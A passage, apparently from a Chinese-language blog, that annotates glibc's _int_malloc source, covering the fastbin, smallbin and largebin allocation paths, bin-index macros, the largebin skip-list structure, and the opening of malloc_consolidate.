 /* Take now instead of binning if exact fit */

 if (size == nb)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		set_non_main_arena (victim);
#if USE_TCACHE
	 /* Fill cache first, return to user only if cache fills.
		 We may return one of these chunks later. */
	 if (tcache_nb
		 && tcache->counts[tc_idx] < mp_.tcache_count)
		{
		 tcache_put (victim, tc_idx);
		 return_cached = 1;
		 continue;
		}
	 else
		{
#endif
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
#if USE_TCACHE
		}
#endif
 }

 /* place chunk in bin */

 if (in_smallbin_range (size))
 {
 victim_index = smallbin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;
 }
 else
 {
 victim_index = largebin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;

 /* maintain large bins in sorted order */
 if (fwd != bck)
 {
 /* Or with inuse bit to speed comparisons */
 size |= PREV_INUSE;
 /* if smaller than smallest, bypass loop below */
 assert (chunk_main_arena (bck->bk));
 if ((unsigned long) (size)
		 < (unsigned long) chunksize_nomask (bck->bk))
 {
 fwd = bck;
 bck = bck->bk;

 victim->fd_nextsize = fwd->fd;
 victim->bk_nextsize = fwd->fd->bk_nextsize;
 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
 }
 else
 {
 assert (chunk_main_arena (fwd));
 while ((unsigned long) size < chunksize_nomask (fwd))
 {
 fwd = fwd->fd_nextsize;
			 assert (chunk_main_arena (fwd));
 }

 if ((unsigned long) size
			 == (unsigned long) chunksize_nomask (fwd))
 /* Always insert in the second position. */
 fwd = fwd->fd;
 else
 {
 victim->fd_nextsize = fwd;
 victim->bk_nextsize = fwd->bk_nextsize;
 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
 malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
 fwd->bk_nextsize = victim;
 victim->bk_nextsize->fd_nextsize = victim;
 }
 bck = fwd->bk;
 if (bck->fd != fwd)
 malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
 }
 }
 else
 victim->fd_nextsize = victim->bk_nextsize = victim;
 }

 mark_bin (av, victim_index);
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;

#if USE_TCACHE
 /* If we've processed as many chunks as we're allowed while
	 filling the cache, return one of the cached ones. */
 ++tcache_unsorted_count;
 if (return_cached
	 && mp_.tcache_unsorted_limit > 0
	 && tcache_unsorted_count > mp_.tcache_unsorted_limit)
	{
	 return tcache_get (tc_idx);
	}
#endif

#define MAX_ITERS 10000
 if (++iters >= MAX_ITERS)
 break;
 }

#if USE_TCACHE
 /* If all the small chunks we found ended up cached, return one now. */
 if (return_cached)
	{
	 return tcache_get (tc_idx);
	}
#endif

 /*
 If a large request, scan through the chunks of current bin in
 sorted order to find smallest that fits. Use the skip list for this.
 */

 if (!in_smallbin_range (nb))
 {
 bin = bin_at (av, idx);

 /* skip scan if empty or largest chunk is too small */
 if ((victim = first (bin)) != bin
	 && (unsigned long) chunksize_nomask (victim)
	 >= (unsigned long) (nb))
 {
 victim = victim->bk_nextsize;
 while (((unsigned long) (size = chunksize (victim)) <
 (unsigned long) (nb)))
 victim = victim->bk_nextsize;

 /* Avoid removing the first entry for a size so that the skip
 list does not have to be rerouted. */
 if (victim != last (bin)
		 && chunksize_nomask (victim)
		 == chunksize_nomask (victim->fd))
 victim = victim->fd;

 remainder_size = size - nb;
 unlink_chunk (av, victim);

 /* Exhaust */
 if (remainder_size < MINSIZE)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		 set_non_main_arena (victim);
 }
 /* Split */
 else
 {
 remainder = chunk_at_offset (victim, nb);
 /* We cannot assume the unsorted list is empty and therefore
 have to perform a complete insert here. */
 bck = unsorted_chunks (av);
 fwd = bck->fd;
		 if (__glibc_unlikely (fwd->bk != bck))
		 malloc_printerr ("malloc(): corrupted unsorted chunks");
 remainder->bk = bck;
 remainder->fd = fwd;
 bck->fd = remainder;
 fwd->bk = remainder;
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);
 }
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

 /*
 Search for a chunk by scanning bins, starting with next largest
 bin. This search is strictly by best-fit; i.e., the smallest
 (with ties going to approximately the least recently used) chunk
 that fits is selected.

 The bitmap avoids needing to check that most blocks are nonempty.
 The particular case of skipping all bins during warm-up phases
 when no chunks have been returned yet is faster than it might look.
 */

 ++idx;
 bin = bin_at (av, idx);
 block = idx2block (idx);
 map = av->binmap[block];
 bit = idx2bit (idx);

 for (;; )
 {
 /* Skip rest of block if there are no more set bits in this block. */
 if (bit > map || bit == 0)
 {
 do
 {
 if (++block >= BINMAPSIZE) /* out of bins */
 goto use_top;
 }
 while ((map = av->binmap[block]) == 0);

 bin = bin_at (av, (block << BINMAPSHIFT));
 bit = 1;
 }

 /* Advance to bin with set bit. There must be one. */
 while ((bit & map) == 0)
 {
 bin = next_bin (bin);
 bit <<= 1;
 assert (bit != 0);
 }

 /* Inspect the bin. It is likely to be non-empty */
 victim = last (bin);

 /* If a false alarm (empty bin), clear the bit. */
 if (victim == bin)
 {
 av->binmap[block] = map &= ~bit; /* Write through */
 bin = next_bin (bin);
 bit <<= 1;
 }

 else
 {
 size = chunksize (victim);

 /* We know the first chunk in this bin is big enough to use. */
 assert ((unsigned long) (size) >= (unsigned long) (nb));

 remainder_size = size - nb;

 /* unlink */
 unlink_chunk (av, victim);

 /* Exhaust */
 if (remainder_size < MINSIZE)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		 set_non_main_arena (victim);
 }

 /* Split */
 else
 {
 remainder = chunk_at_offset (victim, nb);

 /* We cannot assume the unsorted list is empty and therefore
 have to perform a complete insert here. */
 bck = unsorted_chunks (av);
 fwd = bck->fd;
		 if (__glibc_unlikely (fwd->bk != bck))
		 malloc_printerr ("malloc(): corrupted unsorted chunks 2");
 remainder->bk = bck;
 remainder->fd = fwd;
 bck->fd = remainder;
 fwd->bk = remainder;

 /* advertise as last remainder */
 if (in_smallbin_range (nb))
 av->last_remainder = remainder;
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);
 }
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

 use_top:
 /*
 If large enough, split off the chunk bordering the end of memory
 (held in av->top). Note that this is in accord with the best-fit
 search rule. In effect, av->top is treated as larger (and thus
 less well fitting) than any other available chunk since it can
 be extended to be as large as necessary (up to system
 limitations).

 We require that av->top always exists (i.e., has size >=
 MINSIZE) after initialization, so if it would otherwise be
 exhausted by current request, it is replenished. (The main
 reason for ensuring it exists is that we may need MINSIZE space
 to put in fenceposts in sysmalloc.)
 */

 victim = av->top;
 size = chunksize (victim);

 if (__glibc_unlikely (size > av->system_mem))
 malloc_printerr ("malloc(): corrupted top size");

 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
 {
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 av->top = remainder;
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);

 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }

 /* When we are using atomic ops to free fast chunks we can get
 here for all block sizes. */
 else if (atomic_load_relaxed (&av->have_fastchunks))
 {
 malloc_consolidate (av);
 /* restore original bin index */
 if (in_smallbin_range (nb))
 idx = smallbin_index (nb);
 else
 idx = largebin_index (nb);
 }

 /*
 Otherwise, relay to handle system-dependent cases
 */
 else
 {
 void *p = sysmalloc (nb, av);
 if (p != NULL)
 alloc_perturb (p, bytes);
 return p;
 }
 }
}

前置处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


 INTERNAL_SIZE_T nb; /* normalized request size */
 unsigned int idx; /* associated bin index */
 mbinptr bin; /* associated bin */

 mchunkptr victim; /* inspected/selected chunk */
 INTERNAL_SIZE_T size; /* its size */
 int victim_index; /* its bin index */

 mchunkptr remainder; /* remainder from a split */
 unsigned long remainder_size; /* its size */

 unsigned int block; /* bit map traverser */
 unsigned int bit; /* bit map traverser */
 unsigned int map; /* current word of binmap */

 mchunkptr fwd; /* misc temp for linking */
 mchunkptr bck; /* misc temp for linking */

#if USE_TCACHE
 size_t tcache_unsorted_count;	 /* count of unsorted chunks processed */
#endif

 /*
 Convert request size to internal form by adding SIZE_SZ bytes
 overhead plus possibly more to obtain necessary alignment and/or
 to obtain a size of at least MINSIZE, the smallest allocatable
 size. Also, checked_request2size returns false for request sizes
 that are so large that they wrap around zero when padded and
 aligned.
 */

 if (!checked_request2size (bytes, &nb))
 {
 __set_errno (ENOMEM);
 return NULL;
 }

 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from
 mmap. */
 if (__glibc_unlikely (av == NULL))
 {
 void *p = sysmalloc (nb, av);
 if (p != NULL)
	alloc_perturb (p, bytes);
 return p;
 }

nb 为实际应分配的内存大小， sysmalloc 部分暂略

fastbin 相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


 /*
 If the size qualifies as a fastbin, first check corresponding bin.
 This code is safe to execute even if av is not yet initialized, so we
 can try it without checking, which saves some time on this fast path.
 */

#define REMOVE_FB(fb, victim, pp)			\
 do							\
 {							\
 victim = pp;					\
 if (victim == NULL)				\
	break;						\
 pp = REVEAL_PTR (victim->fd); \
 if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
 }							\
 while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
	 != victim);					\

 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
 {
 idx = fastbin_index (nb);
 mfastbinptr *fb = &fastbin (av, idx);
 mchunkptr pp;
 victim = *fb;

 if (victim != NULL)
	{
	 if (__glibc_unlikely (misaligned_chunk (victim)))
	 malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

	 if (SINGLE_THREAD_P)
	 *fb = REVEAL_PTR (victim->fd);
	 else
	 REMOVE_FB (fb, pp, victim);
	 if (__glibc_likely (victim != NULL))
	 {
	 size_t victim_idx = fastbin_index (chunksize (victim));
	 if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	 check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
		{
		 mchunkptr tc_victim;

		 /* While bin not empty and tcache not full, copy chunks. */
		 while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		 {
		 if (__glibc_unlikely (misaligned_chunk (tc_victim)))
			malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
		 if (SINGLE_THREAD_P)
			*fb = REVEAL_PTR (tc_victim->fd);
		 else
			{
			 REMOVE_FB (fb, pp, tc_victim);
			 if (__glibc_unlikely (tc_victim == NULL))
			 break;
			}
		 tcache_put (tc_victim, tc_idx);
		 }
		}
#endif
	 void *p = chunk2mem (victim);
	 alloc_perturb (p, bytes);
	 return p;
	 }
	}
 }

fastbin 是单向链表， LIFO

REMOVE_FB 宏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#define REMOVE_FB(fb, victim, pp)			\
 do							\
 {							\
 victim = pp;					\
 if (victim == NULL)				\
	break;						\
 pp = REVEAL_PTR (victim->fd); \
 if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
 }							\
 while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
	 != victim);					\

宏参数含义

fb: 指向 fastbin 链表头的指针（即 &main_arena.fastbinsY[i] ）。
victim: 输出参数，成功时指向被取出的内存块。
pp: 临时变量，最初存放旧的链表头，成功后作为新链表头。

无锁原子操作 (CAS) 是该宏最核心的部分。为了避免在分配内存时频繁加锁带来的性能损耗，glibc 使用了 catomic_compare_and_exchange_val_acq：

语义：这是一个 CAS （ Compare-And-Swap ）操作。它会检查 *fb （当前的 fastbin 链表头）是否仍然等于 victim。
如果相等：说明没有其他线程修改链表头，它会将 *fb 更新为 pp（即 victim->fd ），成功弹出 victim 。
如果不相等：说明在执行逻辑期间，有其他线程抢先分配或插入了块， CAS 失败。此时 pp 会被更新为当前的 *fb （新的链表头），循环再次尝试，直到成功。

过程要求 pp 的地址对齐 16 位

获取 index

1
2
3
4
5
6


 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
 {
 idx = fastbin_index (nb);
 mfastbinptr *fb = &fastbin (av, idx);
 mchunkptr pp;
 victim = *fb;

追溯得到 get_max_fast () 返回 DEFAULT_MXFAST ，为 64 * SIZE_SZ / 4 ，即 0x80 字节

首先判断应分配内存大小 nb 是否在 fastbin 的管辖范围内，然后根据 nb 的大小计算在 fastbin 中的 index

fb 为对应 fastbin 的头指针

1
2
3


/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
 ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

由此， 0x20 -> 0 , 0x30 -> 1 … 0x80 -> 7

取出 chunk 并检验

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 if (victim != NULL)
	{
	 if (__glibc_unlikely (misaligned_chunk (victim)))
	 malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

	 if (SINGLE_THREAD_P)
	 *fb = REVEAL_PTR (victim->fd);
	 else
	 REMOVE_FB (fb, pp, victim);
	 if (__glibc_likely (victim != NULL))
	 {
	 size_t victim_idx = fastbin_index (chunksize (victim));
	 if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	 check_remalloced_chunk (av, victim, nb);

要求 victim 的地址对齐 16 位

SINGLE_THREAD_P 宏判断当前进程是否只有一个线程，若是，则直接更新 fb 为 next ，否则用 REMOVE_FB 宏更新，并维护 fb , pp , victim 的正确性

victim_idx 为被取出 chunk 的 size 字段对应的 fastbin index

比对 victim_idx 和 idx ，要求同一个 size 字段与 fastbin 应该存放的大小相符

check_remalloced_chunk 正常情况下为空，不用管

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


/*
 Bits to mask off when extracting size

 Note: IS_MMAPPED is intentionally not masked off from size field in
 macros for which mmapped chunks should never be seen. This should
 cause helpful core dumps to occur if it is tried by accident by
 people extending or adapting this malloc.
 */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

chunksize 会去除标志位

向 Tcache 中转移 fastbin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
		{
		 mchunkptr tc_victim;

		 /* While bin not empty and tcache not full, copy chunks. */
		 while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		 {
		 if (__glibc_unlikely (misaligned_chunk (tc_victim)))
			malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
		 if (SINGLE_THREAD_P)
			*fb = REVEAL_PTR (tc_victim->fd);
		 else
			{
			 REMOVE_FB (fb, pp, tc_victim);
			 if (__glibc_unlikely (tc_victim == NULL))
			 break;
			}
		 tcache_put (tc_victim, tc_idx);
		 }
		}
#endif

过程要求 tc_victim 的地址对齐 16 位

分配成功

1
2
3
4
5


	 void *p = chunk2mem (victim);
	 alloc_perturb (p, bytes);
	 return p;
	 }
	}

smallbin 相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


 /*
 If a small request, check regular bin. Since these "smallbins"
 hold one size each, no searching within bins is necessary.
 (For a large request, we need to wait until unsorted chunks are
 processed to find best fit. But for small ones, fits are exact
 anyway, so we can check now, which is faster.)
 */

 if (in_smallbin_range (nb))
 {
 idx = smallbin_index (nb);
 bin = bin_at (av, idx);

 if ((victim = last (bin)) != bin)
 {
 bck = victim->bk;
	 if (__glibc_unlikely (bck->fd != victim))
	 malloc_printerr ("malloc(): smallbin double linked list corrupted");
 set_inuse_bit_at_offset (victim, nb);
 bin->bk = bck;
 bck->fd = bin;

 if (av != &main_arena)
	 set_non_main_arena (victim);
 check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
	 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
	 {
	 mchunkptr tc_victim;

	 /* While bin not empty and tcache not full, copy chunks over. */
	 while (tcache->counts[tc_idx] < mp_.tcache_count
		 && (tc_victim = last (bin)) != bin)
		{
		 if (tc_victim != 0)
		 {
		 bck = tc_victim->bk;
		 set_inuse_bit_at_offset (tc_victim, nb);
		 if (av != &main_arena)
			set_non_main_arena (tc_victim);
		 bin->bk = bck;
		 bck->fd = bin;

		 tcache_put (tc_victim, tc_idx);
	 }
		}
	 }
#endif
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

smallbin 是双向循环链表， FIFO

索引

1
2
3
4


 if (in_smallbin_range (nb))
 {
 idx = smallbin_index (nb);
 bin = bin_at (av, idx);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


/*
 Indexing

 Bins for sizes < 512 bytes contain chunks of all the same size, spaced
 8 bytes apart. Larger bins are approximately logarithmically spaced:

 64 bins of size 8
 32 bins of size 64
 16 bins of size 512
 8 bins of size 4096
 4 bins of size 32768
 2 bins of size 262144
 1 bin of size what's left

 There is actually a little bit of slop in the numbers in bin_index
 for the sake of speed. This makes no difference elsewhere.

 The bins top out around 1MB because we expect to service large
 requests via mmap.

 Bin 0 does not exist. Bin 1 is the unordered list; if that would be
 a valid chunk size the small bins are bumped up one.
 */

#define NBINS 128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define in_smallbin_range(sz) \
 ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

#define smallbin_index(sz) \
 ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
 + SMALLBIN_CORRECTION)

1
2
3
4
5
6


typedef struct malloc_chunk *mbinptr;

/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
 (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			 \
 - offsetof (struct malloc_chunk, fd))

根据应分配的 chunk 大小计算 smallbin 的索引，并注意到从 smallbin_idx 到 bins 的索引还有换算

0x20 -> 2 -> 2 , 0x30 -> 3 -> 4 … 0x400 -> 40 -> 78

然后取出对应 bin 的链表头

脱链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


 if ((victim = last (bin)) != bin)
 {
 bck = victim->bk;
	 if (__glibc_unlikely (bck->fd != victim))
	 malloc_printerr ("malloc(): smallbin double linked list corrupted");
 set_inuse_bit_at_offset (victim, nb);
 bin->bk = bck;
 bck->fd = bin;

 if (av != &main_arena)
	 set_non_main_arena (victim);
 check_malloced_chunk (av, victim, nb);

last (bin) 即 bin->bk

if ((victim = last (bin)) != bin) 判断条件：如果 victim == bin ，说明链表为空（只有一个头节点），代码将跳过此段

if (__glibc_unlikely (bck->fd != victim)) 要求在双向链表中，victim 的前驱节点的后继指针``victim->bk->fd` 必须指向 victim 自己，若满足要求，则设置与它物理相邻下一个高地址的 chunk 的 prev_inuse 位为 1 并脱链

注意到，我们要取出的 victim 为 bin->bk ，事实上， bin 本身是一个哨兵，不代表任何 chunk

1
2


#define set_inuse_bit_at_offset(p, s)					 \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)

该宏设置与它物理相邻下一个高地址的 chunk 的 prev_inuse 位为 1

向 Tcache 中转移 smallbin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
	 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
	 {
	 mchunkptr tc_victim;

	 /* While bin not empty and tcache not full, copy chunks over. */
	 while (tcache->counts[tc_idx] < mp_.tcache_count
		 && (tc_victim = last (bin)) != bin)
		{
		 if (tc_victim != 0)
		 {
		 bck = tc_victim->bk;
		 set_inuse_bit_at_offset (tc_victim, nb);
		 if (av != &main_arena)
			set_non_main_arena (tc_victim);
		 bin->bk = bck;
		 bck->fd = bin;

		 tcache_put (tc_victim, tc_idx);
	 }
		}
	 }
#endif

由于重新取出 tcache 时不会操作 prev_inuse ，所以这里会提前处理

分配成功

1
2
3
4
5


 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

largebin 相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


 /*
 If this is a large request, consolidate fastbins before continuing.
 While it might look excessive to kill all fastbins before
 even seeing if there is space available, this avoids
 fragmentation problems normally associated with fastbins.
 Also, in practice, programs tend to have runs of either small or
 large requests, but less often mixtures, so consolidation is not
 invoked all that often in most programs. And the programs that
 it is called frequently in otherwise tend to fragment.
 */

 else
 {
 idx = largebin_index (nb);
 if (atomic_load_relaxed (&av->have_fastchunks))
 malloc_consolidate (av);
 }

largebin 是双向循环且沿 fb 时 size 单调递减的链表，在同一 Size 组内部表现为 FIFO

largebin_index 宏分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
 (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
 ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
 ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
 ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
 ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
 126)

#define largebin_index(sz) \
 (SIZE_SZ == 8 ? largebin_index_64 (sz) \
 : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
 : largebin_index_32 (sz))

这个宏是 ptmalloc 用于将内存块的大小（size）映射到对应的 Large Bin 索引 的核心逻辑。

它的设计思路非常巧妙，采用的是分段线性映射（Piecewise Linear Mapping）。简单来说：随着内存块越来越大，Bin 所覆盖的范围也越来越广，但分辨率（精确度）越来越低。

以下是该映射逻辑的深度拆解：

1. 核心设计原则：对数级增长 Small Bins 是等差数列（每 16 字节一个 Bin），而 Large Bins 是分组的。为了平衡查找效率和空间碎片，ptmalloc 将 Large Bins 分成了 6 个组（Intervals），每组的步长（Step）呈指数级增长。

2. 六个组的详细映射分析

我们将 sz >> n 理解为按 $2^n$ 的步长进行划分：

组别	大小范围 (64位系统)	步长 (Step)	索引计算公式	对应 Bin 数量
第 1 组	1024B ~ 3072B	64 B (`>>6`)	$48 + (sz » 6)$	32 个 (Bin 64-95)
第 2 组	3072B ~ 10KB	512 B (`>>9`)	$91 + (sz » 9)$	16 个 (Bin 96-111)
第 3 组	10KB ~ 40KB	4KB (`>>12`)	$110 + (sz » 12)$	8 个 (Bin 112-119)
第 4 组	40KB ~ 128KB	32KB (`>>15`)	$119 + (sz » 15)$	4 个 (Bin 120-123)
第 5 组	128KB ~ 512KB	256KB (`>>18`)	$124 + (sz » 18)$	2 个 (Bin 124-125)
第 6 组	> 512KB	无	固定为 126	1 个 (Bin 126)

if (atomic_load_relaxed (&av->have_fastchunks)) 检查 fastbin 中是否有空闲块，若有，则进入 malloc_consolidate

Largebin 结构

我们可以将 Largebin 的结构总结为一种 “双层嵌套式跳跃循环双向链表” 。

它不仅管理着大量的堆块，还通过精妙的索引机制保证了在处理不同大小堆块时的搜索效率。以下是 Largebin 结构的完整解构：

1. 核心分层设计 (The Dual-Layer System)

Largebin 的最独特之处在于它同时维护了两套逻辑链表，这两套链表物理上共存于同一组 Chunk 之中：

第一层：主链表 (The Main `fd`/`bk` Loop)

成员：包含该 Bin 范围内所有被释放的 Chunk。
排序：按 Size 从大到小 严格排序。
哨兵参与：main_arena 中的 Bin 头部（哨兵）参与此链表。
- bin->fd 指向该 Bin 中最大的 Chunk。
- bin->bk 指向该 Bin 中最小的 Chunk。
作用：维护所有可用堆块的物理地址索引，是 unlink 操作的基础。

第二层：快车道 (The `nextsize` Index Loop)

成员：仅包含每个 Size 组中的第一个 Chunk（即“组长”）。
排序：同样按 Size 递减排序。
哨兵避让：哨兵不具备 nextsize 指针，因此不参与此链表。
闭环方式：最小组长的 fd_nextsize 直接指向最大组长，形成自闭环。
作用：实现“跳表”机制，搜索时直接跳过成百上千个相同大小的堆块。

2. “组长-跟随者”模型 (Leader-Follower Model)

这是 Largebin 维持秩序的核心逻辑：

组长 (Leader)：
- 身份标识：p->fd_nextsize != NULL。
- 物理位置：它是该 Size 组中离哨兵最近（在 fd 方向最靠前）的块。
- 责任：持有 nextsize 指针，负责与其他尺寸的组长通信。
跟随者 (Follower)：
- 身份标识：p->fd_nextsize == NULL。
- 物理位置：紧跟在组长之后。
- 责任：只通过 fd/bk 维持在主链表中的位置。被 unlink 时操作极快，不影响索引结构。

3. 关键字段及其指向总结

字段	含义	指向特性
mchunk_prev_size	物理相邻低地址块大小	永远指向物理上的“前一家”，用于 free 时的向后合并。
fd	逻辑后继	指向主链表中的下一个 Chunk（Size $\le$ 当前块）。
bk	逻辑前驱	指向主链表中的上一个 Chunk（Size $\ge$ 当前块）。
fd_nextsize	跨组后继	仅组长持有。指向下一个更小尺寸的组长。最小组长指回最大组长。
bk_nextsize	跨组前驱	仅组长持有。指向上一个更大尺寸的组长。最大组长指回最小组长。

4. 操作行为准则 (Operational Dynamics)

搜索 (Search)：malloc 申请内存时，先看 bin->fd 的 fd_nextsize。如果请求 4500B，它会通过 nextsize 链表跳过整个 6000B 组和 5000B 组，直接定位到第一个可能满足条件的组。
插入 (Insertion)：新块从 Unsorted Bin 归位时，如果发现已有同尺寸组，总是插入到组长之后作为跟随者。这样无需改动 nextsize 链表，效率为 $O(1)$。
脱链 (Unlink)：
- 如果是跟随者：直接修改 fd/bk 闭合。
- 如果是组长：将 fd_nextsize/bk_nextsize 的所有权移交给它的 fd（二把手），然后二把手晋升为新组长。

malloc_consolidate 源码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106


/*
 ------------------------- malloc_consolidate -------------------------

 malloc_consolidate is a specialized version of free() that tears
 down chunks held in fastbins. Free itself cannot be used for this
 purpose since, among other things, it might place chunks back onto
 fastbins. So, instead, we need to use a minor variant of the same
 code.
*/

static void malloc_consolidate(mstate av)
{
 mfastbinptr* fb; /* current fastbin being consolidated */
 mfastbinptr* maxfb; /* last fastbin (for loop control) */
 mchunkptr p; /* current chunk being consolidated */
 mchunkptr nextp; /* next chunk to consolidate */
 mchunkptr unsorted_bin; /* bin header */
 mchunkptr first_unsorted; /* chunk to link to */

 /* These have same use as in free() */
 mchunkptr nextchunk;
 INTERNAL_SIZE_T size;
